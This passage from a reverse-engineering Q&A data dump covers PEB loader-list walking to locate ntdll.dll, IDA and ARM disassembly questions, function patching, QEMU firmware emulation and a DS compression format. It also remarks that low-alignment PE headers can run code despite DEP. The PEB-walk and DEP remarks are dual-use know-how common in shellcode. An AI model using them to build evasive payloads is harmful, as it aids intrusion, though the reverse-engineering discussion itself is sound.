....ꮫꮫꮫꮫ.....ߎC:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b&#xA;002520D8  9a1e18e3b_9.0.21022.8_x-ww_d08d0375\MSVCR90.dll.ꮫꮫꮫꮫ.....ߩẬ%‐%&#xA;00252158  Ẵ%‘%Ẽ%†%.硒ⵀ硔　.¾À⁸%℠%䀆逈..닀粘닀粘㷎䜱....ꮫꮫꮫꮫ....ߊ.ᓮîŸ%Ÿ%ﻮﻮﻮﻮﻮﻮﻮﻮﻮﻮﻮﻮ&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the part where I have found the &lt;code&gt;kernel32.dll&lt;/code&gt;. But in the fact of that this a linked list. Shouldn't I be able to find &lt;code&gt;ntdll.dll&lt;/code&gt; too? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When, I open up the window of &quot;Executable Modules&quot; I can see the &lt;code&gt;ntdll.dll&lt;/code&gt; but it seem I am not able to find the base address inside of the &lt;code&gt;Struct&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please tell me if you need clarification or if I am grievously mistaken.&lt;/p&gt;&#xA;" OwnerUserId="4690" LastEditorUserId="53" LastEditDate="2014-05-28T07:12:51.047" LastActivityDate="2014-05-30T08:05:39.513" Title="Where is ntdll.dll?" Tags="|windows|assembly|memory|immunity-debugger|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4466" PostTypeId="2" ParentId="4465" CreationDate="2014-05-27T14:03:57.353" Score="12" Body="&lt;p&gt;The code below will set &lt;code&gt;EAX&lt;/code&gt; to the image base address of &lt;code&gt;ntdll.dll&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EAX, DWORD PTR FS:[30]     ; EAX = PEB&#xA;MOV EAX, DWORD PTR DS:[EAX+0C] ; EAX = PEB-&amp;gt;Ldr&#xA;MOV EAX, DWORD PTR DS:[EAX+1C] ; EAX = PEB-&amp;gt;Ldr.InInitializationOrderModuleList.Flink&#xA;MOV EAX, DWORD PTR DS:[EAX+8]  ; EAX = image base of ntdll (LDR_MODULE's BaseAddress)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on your question above, it seems like you understand everything through the &lt;code&gt;MOV EAX, DWORD PTR DS:[EAX+1C]&lt;/code&gt; instruction. Since &lt;code&gt;ntdll.dll&lt;/code&gt; is the first module loaded, it's the first &lt;code&gt;LDR_MODULE&lt;/code&gt; entry in &lt;code&gt;InInitializationOrderModuleList&lt;/code&gt;. So with &lt;code&gt;EAX&lt;/code&gt; pointing to &lt;code&gt;PEB-&amp;gt;Ldr.InInitializationOrderModuleList.Flink&lt;/code&gt;, &lt;code&gt;[EAX+0]&lt;/code&gt; points to the list entry's &lt;code&gt;Flink&lt;/code&gt;, &lt;code&gt;[EAX+4]&lt;/code&gt; points to the list entry's &lt;code&gt;Blink&lt;/code&gt;, and &lt;code&gt;[EAX+8]&lt;/code&gt; is the &lt;code&gt;BaseAddress&lt;/code&gt; value of the first &lt;code&gt;LDR_MODULE&lt;/code&gt; entry (&lt;code&gt;ntdll.dll&lt;/code&gt;'s &lt;code&gt;LDR_MODULE&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This image from &lt;a href=&quot;http://blog.csdn.net/programmingring/article/details/11357393&quot; rel=&quot;noreferrer&quot;&gt;http://blog.csdn.net/programmingring/article/details/11357393&lt;/a&gt; may help:&lt;img src=&quot;https://i.stack.imgur.com/GVtLO.jpg&quot; alt=&quot;diagram&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When &lt;code&gt;EAX&lt;/code&gt; is set to &lt;code&gt;PEB-&amp;gt;Ldr.InInitializationOrderModuleList.Flink&lt;/code&gt;, it's pointing to the orange &lt;code&gt;Flink&lt;/code&gt; in the first &lt;code&gt;LDR_MODULE&lt;/code&gt; above. It's followed by the &lt;code&gt;Blink&lt;/code&gt; at &lt;code&gt;[EAX+4]&lt;/code&gt;, and the &quot;&lt;code&gt;DllBase&lt;/code&gt;&quot; (&lt;code&gt;BaseAddress&lt;/code&gt;) at &lt;code&gt;[EAX+8]&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-05-27T16:11:31.937" LastActivityDate="2014-05-27T16:11:31.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4467" PostTypeId="1" CreationDate="2014-05-28T05:43:58.657" Score="2" ViewCount="237" Body="&lt;p&gt;In the reverse engineering scenario, after extracting a representation of the code, it is often useful to recover/ reconstruct the architecture of the software (for eg. when reverse engineering java programs, recovering packages from classes). I am particularly concerned with the modules view of Software Architecture. To my understanding when we try to recover the modular architecture of a software, it is same as software remodularization. Is there a difference?&lt;/p&gt;&#xA;" OwnerUserId="4612" LastActivityDate="2014-06-28T16:37:22.220" Title="What is the difference between Software Architecture Recovery and Software Remodularization in the context of Reverse Engineering?" Tags="|disassembly|decompilation|binary-analysis|software-security|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4468" PostTypeId="2" ParentId="4465" CreationDate="2014-05-28T05:58:10.627" Score="4" Body="&lt;p&gt;Assuming you want to see it in Windbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can follow this walk through for each pointer points to successive &lt;code&gt;LDR_DATA_TABLE_ENTRY&lt;/code&gt; the output is from &lt;code&gt;calc.exe&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(@$peb+c)+c)&#xA;   +0x024 FullDllName : _UNICODE_STRING &quot;C:\WINDOWS\system32\calc.exe&quot;&#xA;0:000&amp;gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(@$peb+c)+c))&#xA;   +0x024 FullDllName : _UNICODE_STRING &quot;C:\WINDOWS\system32\ntdll.dll&quot;&#xA;0:000&amp;gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(@$peb+c)+c)))&#xA;   +0x024 FullDllName : _UNICODE_STRING &quot;C:\WINDOWS\system32\kernel32.dll&quot;&#xA;0:000&amp;gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(@$peb+c)+c))))&#xA;   +0x024 FullDllName : _UNICODE_STRING &quot;C:\WINDOWS\system32\SHELL32.dll&quot;&#xA;0:000&amp;gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(@$peb+c)+c)))))&#xA;   +0x024 FullDllName : _UNICODE_STRING &quot;C:\WINDOWS\system32\ADVAPI32.dll&quot;&#xA;0:000&amp;gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c))))))&#xA;   +0x024 FullDllName : _UNICODE_STRING &quot;C:\WINDOWS\system32\RPCRT4.dll&quot;&#xA;0:000&amp;gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c)))))))&#xA;   +0x024 FullDllName : _UNICODE_STRING &quot;C:\WINDOWS\system32\Secur32.dll&quot;&#xA;0:000&amp;gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c))))))))&#xA;   +0x024 FullDllName : _UNICODE_STRING &quot;C:\WINDOWS\system32\GDI32.dll&quot;&#xA;0:000&amp;gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c)))))))))&#xA;   +0x024 FullDllName : _UNICODE_STRING &quot;C:\WINDOWS\system32\USER32.dll&quot;&#xA;0:000&amp;gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c))))))))))&#xA;   +0x024 FullDllName : _UNICODE_STRING &quot;C:\WINDOWS\system32\msvcrt.dll&quot;&#xA;0:000&amp;gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c)))))))))))&#xA;   +0x024 FullDllName : _UNICODE_STRING &quot;C:\WINDOWS\system32\SHLWAPI.dll&quot;&#xA;0:000&amp;gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c))))))))))))&#xA;   +0x024 FullDllName : _UNICODE_STRING &quot;&quot;&#xA;0:000&amp;gt; dt ntdll!_LDR_DATA_TABLE_ENTRY -y Full poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(poi(@$peb+c)+c)))))))))))))&#xA;   +0x024 FullDllName : _UNICODE_STRING &quot;C:\WINDOWS\system32\calc.exe&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;an alternate representation of the above method&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lkd&amp;gt; dt nt!_ldr_data_table_entry -y Full @@c++(@$peb-&amp;gt;Ldr-&amp;gt;InLoadOrderModuleList.Flink)&#xA;   +0x024 FullDllName : _UNICODE_STRING &quot;C:\Program Files\Windows Kits\8.0\Debuggers\x86\windbg.exe&quot;&#xA;lkd&amp;gt; dt nt!_ldr_data_table_entry -y Full @@c++(@$peb-&amp;gt;Ldr-&amp;gt;InLoadOrderModuleList.Flink-&amp;gt;Flink)&#xA;   +0x024 FullDllName : _UNICODE_STRING &quot;C:\WINDOWS\system32\ntdll.dll&quot;&#xA;lkd&amp;gt; dt nt!_ldr_data_table_entry -y Full @@c++(@$peb-&amp;gt;Ldr-&amp;gt;InLoadOrderModuleList.Flink-&amp;gt;Flink-&amp;gt;Flink)&#xA;   +0x024 FullDllName : _UNICODE_STRING &quot;C:\WINDOWS\system32\kernel32.dll&quot;&#xA;lkd&amp;gt; dt nt!_ldr_data_table_entry -y Full @@c++(@$peb-&amp;gt;Ldr-&amp;gt;InLoadOrderModuleList.Flink-&amp;gt;Flink-&amp;gt;Flink-&amp;gt;Flink)&#xA;   +0x024 FullDllName : _UNICODE_STRING &quot;C:\WINDOWS\system32\ADVAPI32.dll&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2014-05-30T08:05:39.513" LastActivityDate="2014-05-30T08:05:39.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4470" PostTypeId="1" CreationDate="2014-05-28T15:07:19.163" Score="1" ViewCount="1220" Body="&lt;p&gt;I am reversing a binary which seems to have all the symbols exported which helps.  What I have seen is a pile of variables and functions which all start with the letter '&lt;code&gt;v&lt;/code&gt;', for example &lt;code&gt;v101&lt;/code&gt;.  I have been playing around with the decompiler from IDA and noticed that its pseudo code generally uses the same form having variables starting with the letter '&lt;code&gt;v&lt;/code&gt;'.  I know this may seem silly to ask but I am looking at a binary which is actually just IDA pro pseudo code compiled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A snippet of pseudo code generated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int v3480()&#xA;{&#xA;  __int32 v0; // r0@1&#xA;&#xA;  v0 = time(0);&#xA;  srand48(v0);&#xA;&#xA;  // TODO Object initialisation!!&#xA;  v877 = &amp;amp;v3688;&#xA;  v1277 = &amp;amp;v7299;&#xA;  v1634 = &amp;amp;v5690;&#xA;  v2042 = &amp;amp;v7024;&#xA;&#xA;  v873 = &amp;amp;v3688;&#xA;  v872 = (char *)&amp;amp;v3688 + 1;&#xA;  v1274 = &amp;amp;v7299;&#xA;  v485 = &amp;amp;unk_40B69FF5;&#xA;&#xA;  v1631 = &amp;amp;v5690;&#xA;  v1629 = (char *)&amp;amp;v5690 + 1;&#xA;&#xA;  v2037 = &amp;amp;v7024;&#xA;  v2038 = (char *)&amp;amp;v7024 + 1;&#xA;&#xA;  v5661 = -1;&#xA;  v2325 = -1;&#xA;  v1259 = -1;&#xA;  v4048 = -1;&#xA;  v5509 = &amp;amp;v5497;&#xA;  v3845 = &amp;amp;unk_40B69EEC;&#xA;  v3522 = &amp;amp;v4191;&#xA;  v7253 = &amp;amp;unk_40B69EE4;&#xA;  v2081 = &amp;amp;v3009;&#xA;  v5828 = &amp;amp;unk_40B69EDC;&#xA;  v7014 = &amp;amp;v2061;&#xA;  v3636 = &amp;amp;unk_40B69ED4;&#xA;  v217 = &amp;amp;v6520;&#xA;  v218 = &amp;amp;v6524;&#xA;  v219 = &amp;amp;v6525;&#xA;  v221 = &amp;amp;v6523;&#xA;  v1455 = &amp;amp;v6523;&#xA;  unk_40B69EF4 = &amp;amp;v6524;&#xA;  v7297 = &amp;amp;dword_40A071D0;&#xA;  v5530 = &amp;amp;dword_40A071D0;&#xA;  if ( dword_40A071D0 )&#xA;  {&#xA;    v6935();&#xA;  }&#xA;  else&#xA;  {&#xA;    memcpy(v219, &amp;amp;v5764, 0xE3958u);&#xA;    dword_40A071D0 = 1;&#xA;  }&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4499" LastEditorUserId="53" LastEditDate="2014-06-01T08:38:07.143" LastActivityDate="2014-06-01T08:38:07.143" Title="Reverse pseudo code" Tags="|ida|hexrays|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4471" PostTypeId="2" ParentId="4457" CreationDate="2014-05-28T16:15:21.373" Score="2" Body="&lt;p&gt;A writable header is a side-effect of the low alignment.  More interestingly, an &lt;em&gt;executable&lt;/em&gt; header is possible, too, bypassing DEP restrictions even when set to enable for all processes.  That allows code to execute directly from the header, which would normally not be allowed.  When used for a DLL, the ImageBase can become the entrypoint (i.e. call LoadLibrary; call eax), which might be a bit unexpected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other implications include that some tools cannot disassemble or dump such files properly.  A low alignment allows for the creation of very small files (as small as 268 bytes on 64-bit or 255 bytes on 32-bit Vista and later systems (XP allows the file to be 233 bytes long)), by overlapping the tables, and even removing all of the sections.  This small size has been proven to be sufficient for a downloader.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2014-05-28T16:15:21.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4472" PostTypeId="2" ParentId="4470" CreationDate="2014-05-28T18:14:00.657" Score="1" Body="&lt;p&gt;You're looking at pseudocode reconstructed from the binary.&#xA;After compilation all variable names disappeared, so IDA generates new generic ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like that all v* variables are local (allocated on the stack) &lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-05-28T18:14:00.657" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="4473" PostTypeId="1" CreationDate="2014-05-28T18:17:01.000" Score="1" ViewCount="1529" Body="&lt;p&gt;I'm relatively new to IDA. Recently I was disassembling an ARM binary that contains some signal processing routines. One of the data tables used by the routine is an array of floats, and one of those floats is -0.0 (encoded as 0x80000000). When I try to get IDA to convert this into a float, it refuses and just yields &quot;DB 0,0,0,0x80&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that this single &quot;invalid&quot; entry is making it impossible for me to convert the region into an array. Instead I have to split the array into two halves, which is awkward. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a known issue? Can I force an array to be created even if some of the elements are invalid?&lt;/p&gt;&#xA;" OwnerUserId="1328" LastActivityDate="2014-06-24T07:47:58.993" Title="IDA doesn't understand -0.0f (0x80000000)?" Tags="|ida|arm|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4474" PostTypeId="1" AcceptedAnswerId="4475" CreationDate="2014-05-28T18:58:41.147" Score="3" ViewCount="2737" Body="&lt;p&gt;What is this instruction trying to do?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; .text:4044A5EC LDR     R5, =(unk_40885080 - 0x4044A5F8)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at the value of unk_40885080 it holds a value of 20 in the .data segment.&lt;/p&gt;&#xA;" OwnerUserId="4499" LastActivityDate="2014-05-28T19:24:57.733" Title="Understanding unknown in IDA" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4475" PostTypeId="2" ParentId="4474" CreationDate="2014-05-28T19:06:01.183" Score="4" Body="&lt;p&gt;This seems to be ARM PIC (Position-Independent) code, where the address is given relative to the program counter. Ida detects this and shows the &quot;real&quot; address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, you didn't post any code around the your single statement, so i'm using one of my own disassemblies to show you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00062454                 LDR             R3, [R4,#8]&#xA;.text:00062458                 MOV             R0, #0x2C ; ','&#xA;.text:0006245C                 LDR             R1, =(unk_218172 - 0x62474)  &amp;lt;--- a&#xA;.text:00062460                 MOV             R5, #0&#xA;.text:00062464                 MOV             R2, #4  ; n&#xA;.text:00062468                 STRB            R0, [R3,#0x12]&#xA;.text:0006246C                 ADD             R1, PC, R1                   &amp;lt;--- b&#xA;.text:00062470                 LDR             R3, [R4,#8]&#xA;.text:00062474                 ADD             R0, R3, #0x30 ; dest&#xA;.text:00062478                 STR             R1, [R3,#8]&#xA;.text:0006247C                 STR             R1, [R3,#0x14]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code loads some value into R1 (a), then (b) adds PC to it. So, the value of the register is supposed to be a pointer into memory, but beause PC gets added later, the value that is loaded at 2645C wouldn't make any sense. Ida detects the ADD instruction, and shows the LDR instruction in a way that lets you see where it's supposed to point to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that the &quot;correcting offset&quot; of 0x62474 is not the address of the &lt;code&gt;ADD&lt;/code&gt; instruction is because of pipelining within the processor; at the moment the &lt;code&gt;ADD&lt;/code&gt; gets executed, the next instructions have already been read, so PC is two instructions &quot;behind&quot; where the &lt;code&gt;ADD&lt;/code&gt; instruction is located.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The reason why the compiler produces this kind of code is, when the same code gets loaded at a different address later it stays valid, even without the relocation patching the linker/loader would have to do otherwise. That's called PIC, or Position-independent code.)&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2014-05-28T19:24:57.733" LastActivityDate="2014-05-28T19:24:57.733" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4477" PostTypeId="2" ParentId="1654" CreationDate="2014-05-29T14:29:04.180" Score="6" Body="&lt;p&gt;As others have said, this is for getting current instruction's address. But it's not recommended as it'll hurt performance because it won't return anywhere, causing disagreement of return addresses in data stack and in the CPU's internal calling stack&lt;/p&gt;&#xA;&lt;p&gt;The recommended way is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;GetCurrentAddress:&#xA;    mov eax, [esp]&#xA;    ret&#xA;...&#xA;    call GetCurrentAddress&#xA;    mov [currentInstruction], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The reason is the &amp;quot;hidden variables&amp;quot; inside the processor. All modern processors contain much more state than you can see from the instruction sequence. There are TLBs, L1 and L2 caches, all sorts of stuff that you can't see. The hidden variable that is important here is the return address predictor.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The more recent Pentium (and I believe also Athlon) processors maintain an internal stack that is updated by each CALL and RET instruction&lt;/strong&gt;. When a CALL is executed, the return address is pushed both onto the &lt;em&gt;real stack&lt;/em&gt; (the one that the ESP register points to) as well as to the &lt;em&gt;internal return address predictor stack&lt;/em&gt;; a RET instruction pops the top address of the return address predictor stack as well as the real stack.&lt;/p&gt;&#xA;&lt;p&gt;The return address predictor stack is used when the processor decodes a RET instruction. It looks at the top of the return address predictor stack and says, &lt;em&gt;&amp;quot;I bet that RET instruction is going to return to that address.&amp;quot;&lt;/em&gt; It then speculatively executes the instructions at that address. Since programs rarely fiddle with return addresses on the stack, these predictions tend to be highly accurate.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/20041216-00/?p=36973&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://devblogs.microsoft.com/oldnewthing/20041216-00/?p=36973&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2563" LastEditorUserId="2563" LastEditDate="2020-09-07T03:28:23.187" LastActivityDate="2020-09-07T03:28:23.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4479" PostTypeId="2" ParentId="4453" CreationDate="2014-05-29T15:47:14.293" Score="1" Body="&lt;p&gt;You use a local unconditional jmp to another memory location then do what you want there. Ideally there's space before or after the function for you to put your instructions there. Otherwise you're looking at either relocating the entire function (a bit like a re-alloc, only in the .text section, which you can make bigger overall if you need to) and then long jmp to your code and long jmp back. Don't forget to make those jumps relative long jumps so that ASLR in it's various forms won't shaft you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you &lt;em&gt;MUST&lt;/em&gt; do it inline then you're left optimising the code by enough bytes. Remember to keep locations for relative jumps the same.&lt;/p&gt;&#xA;" OwnerUserId="4700" LastActivityDate="2014-05-29T15:47:14.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4480" PostTypeId="1" AcceptedAnswerId="4483" CreationDate="2014-05-29T16:07:27.903" Score="11" ViewCount="13103" Body="&lt;p&gt;I'm trying to emulate a TP-Link WR740N in Qemu (MIPS). I have extracted the &lt;code&gt;rootfs.img&lt;/code&gt; from the firmware, and downloaded &lt;code&gt;vmlinux-2.6.32-5-4kc-malta&lt;/code&gt; from here: &lt;a href=&quot;http://people.debian.org/~aurel32/qemu/mips/&quot; rel=&quot;noreferrer&quot;&gt;http://people.debian.org/~aurel32/qemu/mips/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I started Qemu with these parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qemu-system-mips -M malta -kernel 'vmlinux-2.6.32-5-4kc-malta' -hda 'rootfs.img' -append &quot;root=/dev/sda1 console=tty0&quot; -nographic&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it got stuck on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0.000000] console [tty0] enabled, bootconsole disabled&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also tried to run it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo qemu-system-mips -M malta -initrd 'rootfs.img' -kernel 'vmlinux-2.6.32-5-4kc-malta' -nographic -append &quot;console=ttyS0,115200 root=/dev/sda rootfstype=jffs2 init=/sbin/init&quot; -hda 'hda.img' &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[    0.796000]  sda: unknown partition table&#xA;[    0.808000] sd 0:0:0:0: [sda] Attached SCSI disk&#xA;[    0.812000] RAMDISK: squashfs filesystem found at block 0&#xA;[    0.812000] RAMDISK: Loading 2556KiB [1 disk] into ram disk... done.&#xA;[    0.928000] VFS: Cannot open root device &quot;sda&quot; or unknown-block(8,0)&#xA;[    0.928000] Please append a correct &quot;root=&quot; boot option; here are the available partitions:&#xA;[    0.928000] 0800           65536 sda driver: sd&#xA;[    0.932000] Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(8,0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;New try after answer from 6EQUJ5 [I still get the same error though (the second one)]:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I'm trying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo qemu-system-mips -M malta -kernel 'vmlinux-2.6.32-5-4kc-malta' -nographic -append &quot;init=/bin/sh&quot; -hda 'myFileSystem.img'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is a link to download the filesystem I've created:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://speedy.sh/vBUEQ/myFileSystem.img&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running &quot;file&quot; on my filesystem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Linux rev 1.0 ext2 filesystem data (mounted or unclean), UUID=dac7072e-2c8b-408f-a080-57ea60cfd9ea&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those are the commands I've used to create it and move the files into it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=/dev/zero of=~/myFileSystem.img bs=1024 count=65536&#xA;mke2fs myFileSystem.img&#xA;mkdir /mnt/virtual&#xA;mount -o loop ~/myFileSystem.img /mnt/virtual&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4724" LastEditorUserId="4212" LastEditDate="2014-06-04T07:27:33.820" LastActivityDate="2017-03-03T00:25:11.890" Title="Emulate TP-LINK WR740N with QEMU" Tags="|firmware|qemu|mips|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4481" PostTypeId="1" CreationDate="2014-05-29T17:16:48.147" Score="4" ViewCount="811" Body="&lt;p&gt;So, I've been working on reversing several file formats from the Nintendo DS game Pokemon Mystery Dungeon: Explorers of Sky. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far most formats were pretty easy to reverse, until I stumbled on a compressed format using a header I've never seen in any other compressed files in other games on the DS so far (I'm not all that experienced in reversing)..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its magic number is &lt;code&gt;PKDPX&lt;/code&gt; or &lt;code&gt;0x50&lt;/code&gt;, &lt;code&gt;0x4B&lt;/code&gt;, &lt;code&gt;0x44&lt;/code&gt;, &lt;code&gt;0x50&lt;/code&gt;, &lt;code&gt;0x58&lt;/code&gt;. And here's the header :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gTwFn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WnqPh.jpg&quot; title=&quot;Hosted by imgur.com&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 2 bytes right after the magic number is the file length. Its a little odd to store a file length on only 2 bytes though. Especially when every other format I've seen this far uses mainly 4 bytes integers... &#xA;And I'm wondering if it couldn't be an older compression format used in GBA games. Given that a lot of data from the previous game, for the GBA, was re-used in this one.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I'm still at a loss as to how to deal with this format. I haven't found anything from the NDS hacking scene about those, besides people mentioning they never saw that format before, or on the contrary, people just talking about it as if it was a very obvious format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I know, NDS games are known for using huffman and lz compression, or even rle, but I really doubt this is rle, given its probably not an image, and I doubt a pure data format would see much advantage from having rle compression applied to it.. But, I'm not an expert on compression, or I wouldn't posting this here XD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to note is the SIR0 magic number down there, &lt;code&gt;0x53&lt;/code&gt;, &lt;code&gt;0x49&lt;/code&gt;, &lt;code&gt;0x52&lt;/code&gt;, &lt;code&gt;0x30&lt;/code&gt;. SIR0 is a format I'm familiar with, right after the magic number there are 2 4bytes pointers that points to some file structure related data at the end of the file. Thus if those aren't too mangled, just like the SIR0 magic number, it could give a decent idea of the decompressed file size, give or take a couple hundred bytes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, right now there is no indication that those weren't mangled, or where the first value ends and where the other starts...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tidbits of info would be welcome at this point !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;I also found out that, the DS has built-in LZ10 compression handling, however its common for devs to make their own &quot;custom&quot; compression and do it themselves. But, given it was made near the end of the DS's life cycle, it might just be &quot;custom&quot; LZ11, LZSS, or another variant..&lt;/p&gt;&#xA;" OwnerUserId="4736" LastEditorUserId="4736" LastEditDate="2014-05-30T21:14:08.660" LastActivityDate="2014-05-30T21:14:08.660" Title="Need help figuring out compression used on a PKDPX file from a Nintendo DS game" Tags="|file-format|unpacking|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
